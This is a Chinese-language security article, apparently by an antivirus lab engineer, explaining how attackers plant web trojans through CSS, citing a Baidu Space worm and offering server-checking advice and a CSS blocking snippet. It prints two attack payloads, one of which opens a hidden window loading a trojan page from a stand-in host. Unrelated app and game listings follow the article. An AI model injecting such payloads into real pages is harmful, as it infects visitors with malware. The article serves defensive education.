警惕!CSS样式表也能挂木马

随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范IFRAME挂马的CSS代码演变而来。

下载地址

安天实验室阿楠:安全工程师,从事病毒分析多年。

网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。

在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX”的站内消息。

由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。

由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。

我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

黑客为什么选择CSS挂马?

在Web1.0时代,使用IFRAME挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如IFRAME来得直接和有效。

但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

小百科:CSS是层叠样式表(Cascading Style Sheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

CSS挂马攻防实录

攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

方式1:

Body{background-image: url('javascript:document.write("")')}

“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合JavaScript代码让网页木马悄悄地在用户的电脑中运行。

那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

小百科:使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

方式2:

Body{background-image: url(javascript:open(' http://www.X.com/muma.htm ','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))}

方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了JavaScript的Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

iframe{miao1:expression(this.src='about:blank',this.outerHTML='');}script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的JavaScript代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。

高德地图下载导航2023车机版,即高德车载导航app,一键升级更新,智能规划出行路线,了解实时路况,加载速度快,信息详细,为司机带来更贴心的智能语音导航服务。
2023-06-16
迷你世界怎么拥有商人妹妹,作为游戏中一位重要的NPC,很多玩家却不知道如何才能拥有这位商人妹妹!别着急,接下来就和小编一起来看下迷你世界商人妹妹获取方法详解!赶紧get起来吧!,迷你世界怎么拥有商人妹妹 迷你世界商人妹妹获取方法详解
2017-05-20
又一个案子解决了重要线人案件怎么过?记者保罗利泽带来一个大案件,他的一个重要线人不见了,请求我们帮他找到。那么接下来,让我们一起看看又一个案子解决了重要线人案件攻略图解。,又一个案子解决了重要线人案件怎么过 重要线人案件攻略图解
2017-12-05
随着街篮手游新版本的更新,SF又增加一个得分神技,那就是新技能急停跳投,哪街篮手游急停跳投技能怎么样呢?下面小编将给大家介绍街篮新技能急停跳投。,街篮手游急停跳投技能怎么样 街篮新技能急停跳投介绍
2017-01-21
申丝货运网员工app是一款专为员工定制打造的货运办公软件。软件由上海申丝企业发展有限公司专为员工打造,用户能够通过软件随时随地在线办公,有效提升货运管理效率,让货运更加便捷。
2022-12-01
安卓水果游戏是一类以水果味主题的游戏,其中游戏模拟各不相同,但都离不开水果,如玩家熟悉的水果忍者,哪种酸爽的切西瓜的快感,同时还有水果消除的休闲游戏模式,还有模拟水果机的游戏模拟等等,让你体验以水果为主题给你带来的乐趣。
2023-07-08
【问答题】大圣玩偶满级基础属性超级奖励得分增加多少%?这里说的是天天酷跑每日一题,那么天天酷跑【问答题】大圣玩偶满级基础属性超级奖励得分增加多少%?下面小编给大家带来天天酷跑7月18日每日一题的答案,一起来看看吧。,大圣玩偶满级基础属性超级奖励得分增加多少%? 天天酷跑7月18日每日一题
2016-07-18
日语考级app推荐有哪些?随着日漫、日剧的流行,学习日语的人越来越多,除了日语专业的学生,也有很多对日语感兴趣的同学选择考日语等级证书提升自己的语言能力,下面小编就给大家整理了日语考级软件大全,需要的同学快来下载,一起来学习吧!
2023-07-08
音约吧app下载-音约吧是一款手机音乐社区交流软件,在这里你能发现身边最棒的音乐,最好的音乐人伙伴,最新最热的好音乐活动和表演,还有最严谨的音乐课程,总之一切都和音乐有关,如果你也是音乐爱好者那么就赶紧加入音约吧,您可以免费下载安卓手机音约吧。
2019-07-01
云南移动和生活下载安装-云南移动和生活客户端,让你生活本地更简单、快捷的服务软件。通过云南移动和生活app你可在线充值话费、购买特产,以及参与更实惠的优惠活动,您可以免费下载安卓手机云南移动和生活。
2022-10-23